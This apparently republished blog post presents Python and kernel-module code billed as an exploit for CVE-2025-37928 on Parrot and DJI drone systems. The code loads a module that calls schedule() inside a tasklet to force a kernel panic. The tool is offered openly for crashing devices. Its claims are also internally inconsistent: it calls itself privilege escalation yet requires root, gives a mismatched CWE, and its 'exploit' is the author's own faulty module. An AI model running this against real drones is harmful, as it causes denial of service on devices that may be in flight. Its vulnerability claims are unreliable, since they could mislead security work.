Parrot和DJI无人机操作系统内核恐慌漏洞利用分析

本文详细分析了影响Parrot和DJI系列无人机操作系统的内核漏洞CVE-2025-37928,该漏洞由于在原子上下文中错误调用schedule()函数导致内核恐慌,提供了完整的Python利用代码和内核模块实现。

Parrot和DJI变种无人机操作系统内核恐慌漏洞利用

风险等级:
本地利用:
远程利用:
CVE编号: CVE-2025-37928
CWE编号: CWE-284

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python3
# 漏洞标题:Parrot和DJI变种无人机操作系统 - 内核恐慌漏洞利用
# 作者:Mohammed Idrees Banyamer
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# 日期:2025-06-10
# 测试平台:Parrot QRD, Parrot Alpha-M, DJI QRD, DJI Alpha-M
# CVE:CVE-2025-37928
# 类型:本地权限提升 / 内核恐慌
# 平台:基于Linux的无人机操作系统(Parrot和DJI变种)
# 作者国家:约旦
# CVSS v3.1 评分:7.3(重要)
# 弱点:CWE-284:不正确的访问控制
# 攻击向量:本地
# 用户交互:无
# 范围:未改变
# 机密性、完整性、可用性影响:高(通过内核恐慌导致拒绝服务)
# 漏洞利用代码成熟度:概念验证
# 修复级别:官方修复可用

## 描述:
此概念验证通过在原子上下文中调用schedule()来触发内核恐慌
利用了运行在Parrot QRDParrot Alpha-MDJI QRD和DJI Alpha-M
无人机操作系统上的某些Linux内核中存在的CVE-2025-37928漏洞

## 利用步骤:
1. 检查是否以root权限运行
2. 验证内核版本漏洞
3. 从系统文件检测无人机类型
4. 构建并加载易受攻击的内核模块
5. 通过在原子上下文中调度调用schedule()的tasklet来触发内核恐慌

## 受影响的无人机版本:
- Parrot QRD
- Parrot Alpha-M (DT)
- DJI QRD
- DJI Alpha-M (DT)

## 使用方法:
```bash
sudo python3 cve_2025_37928_tool.py [选项]

选项
--dry-run         仅运行检测和构建不加载模块
--force           即使内核未检测为易受攻击也强制利用
--cleanup-only    仅移除内核模块而不触发恐慌
--verbose         启用详细日志和调试输出
--help            显示使用信息

示例
sudo python3 cve_2025_37928_tool.py --dry-run
sudo python3 cve_2025_37928_tool.py
sudo python3 cve_2025_37928_tool.py --force
sudo python3 cve_2025_37928_tool.py --cleanup-only

警告
此概念验证会导致立即内核恐慌
仅在隔离和受控环境例如实验室测试中使用

内核模块代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/interrupt.h>
#include <linux/sched.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("PoC Author");
MODULE_DESCRIPTION("PoC for CVE-2025-37928: schedule() in atomic context causes kernel panic");

static void trigger_panic_tasklet(unsigned long data)
{
    pr_alert("[CVE-2025-37928] Executing schedule() inside atomic context. This will panic!\n");
    schedule(); // 这会导致内核恐慌
}

DECLARE_TASKLET(my_tasklet, trigger_panic_tasklet, 0);

static int __init poc_init(void)
{
    pr_info("[CVE-2025-37928] Loading PoC module and scheduling tasklet...\n");
    tasklet_schedule(&my_tasklet);
    return 0;
}

static void __exit poc_exit(void)
{
    tasklet_kill(&my_tasklet);
    pr_info("[CVE-2025-37928] PoC module unloaded\n");
}

module_init(poc_init);
module_exit(poc_exit);

主要功能函数

权限检查

1
2
3
4
def check_root():
    if os.geteuid() != 0:
        print("[-] Must be run as root.")
        sys.exit(1)

内核检测

1
2
3
4
5
6
def detect_kernel():
    version = platform.release()
    vulnerable_versions = ["5.10", "5.15", "6.0"]
    vulnerable = any(v in version for v in vulnerable_versions)
    print(f"[i] Kernel version: {version} => {'VULNERABLE' if vulnerable else 'UNKNOWN/SAFE'}")
    return vulnerable

无人机类型检测

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
def detect_drone_type():
    print("[*] Detecting drone type...")
    files = ["/etc/drone_type", "/proc/device-tree/model", "/sys/firmware/devicetree/base/model"]
    found = []
    for path in files:
        if os.path.exists(path):
            try:
                with open(path, "r") as f:
                    content = f.read().strip()
                    if any(x in content for x in ["Parrot", "DJI"]):
                        found.append(content)
            except:
                continue
    if found:
        for d in found:
            print(f"  [i] Found: {d}")
    else:
        print("  [!] No drone ID found.")
    return found

模块构建和加载

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
def build_module(tempdir):
    print("[*] Building module...")
    result = subprocess.run(["make"], cwd=tempdir, capture_output=True, text=True)
    if result.returncode != 0:
        print("[-] Build failed:\n", result.stderr)
        sys.exit(1)
    print("[+] Build successful.")
    return os.path.join(tempdir, KO_FILENAME)

def load_module(ko_path):
    print("[*] Loading kernel module...")
    result = subprocess.run(["insmod", ko_path], capture_output=True, text=True)
    if result.returncode != 0:
        print("[-] insmod failed:\n", result.stderr)
        sys.exit(1)
    print("[!] Module loaded. Kernel panic should occur if vulnerable.")

该漏洞利用工具专门针对无人机操作系统中的Linux内核漏洞,通过精心构造的内核模块在原子上下文中调用schedule()函数,从而触发内核级拒绝服务攻击。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计